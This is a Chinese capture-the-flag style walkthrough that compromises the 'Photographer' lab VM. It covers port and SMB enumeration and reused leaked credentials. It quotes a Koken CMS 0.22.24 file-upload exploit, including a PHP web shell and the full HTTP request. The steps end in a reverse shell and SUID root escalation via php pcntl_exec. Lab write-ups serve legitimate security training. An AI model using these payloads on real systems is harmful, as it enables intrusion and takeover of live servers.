【Web渗透】 Photographer靶机
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kali:192.168.111.111 靶机:192.168.111.132 信息收集端口扫描 nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.132 目标8000端口为koken cms 使用enum4linux枚举目标samba服务,发现共享文件夹 enum4linux -a 192.168.111.132 连接目标共享文件夹,发现两个文件 smbclient -N \\\\192.168.111.132\\sambashare mailsent.txt文件内容 使用daisa@photographer.com | babygirl,登录koken后台 同时该版本的koken cms存在文件上传漏洞 searchsploit koken # Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)# Date: 2020-07-15# Exploit Author: v1n1v131r4# Vendor Homepage: http://koken.me/# Software Link: https://www.softaculous.com/apps/cms/Koken# Version: 0.22.24# Tested on: Linux# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.mdThe Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.Steps to exploit:1. create a malicious PHP file with this content: <?php system($_GET['cmd']);?>2. Save as "image.php.jpg"3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.4. On Burp, rename your file to "image.php"POST /koken/api.php?/content HTTP/1.1Host: target.comUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://target.com/koken/admin/x-koken-auth: cookieContent-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551Content-Length: 1043Connection: closeCookie: PHPSESSID= [Cookie value here]-----------------------------2391361183188899229525551Content-Disposition: form-data; name="name"image.php-----------------------------2391361183188899229525551Content-Disposition: form-data; name="chunk"0-----------------------------2391361183188899229525551Content-Disposition: form-data; name="chunks"1-----------------------------2391361183188899229525551Content-Disposition: form-data; name="upload_session_start"1594831856-----------------------------2391361183188899229525551Content-Disposition: form-data; name="visibility"public-----------------------------2391361183188899229525551Content-Disposition: form-data; name="license"all-----------------------------2391361183188899229525551Content-Disposition: form-data; name="max_download"none-----------------------------2391361183188899229525551Content-Disposition: form-data; name="file"; filename="image.php"Content-Type: image/jpeg<?php system($_GET['cmd']);?>-----------------------------2391361183188899229525551--5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server. 漏洞利用利用burp抓包,修改上传文件的后缀,jpg改为php即可上传 访问http://192.168.111.132:8000/storage/originals/cb/43/php-reverse-shell.php获得反弹shell 提权查找suid权限的文件 find / -perm -u=s 2> /dev/null 提权方法:https://gtfobins.github.io/gtfobins/php/#suid 提升为root php -r "pcntl_exec('/bin/sh', ['-p']);" flag 该文章在 2023/12/13 18:58:44 编辑过 |
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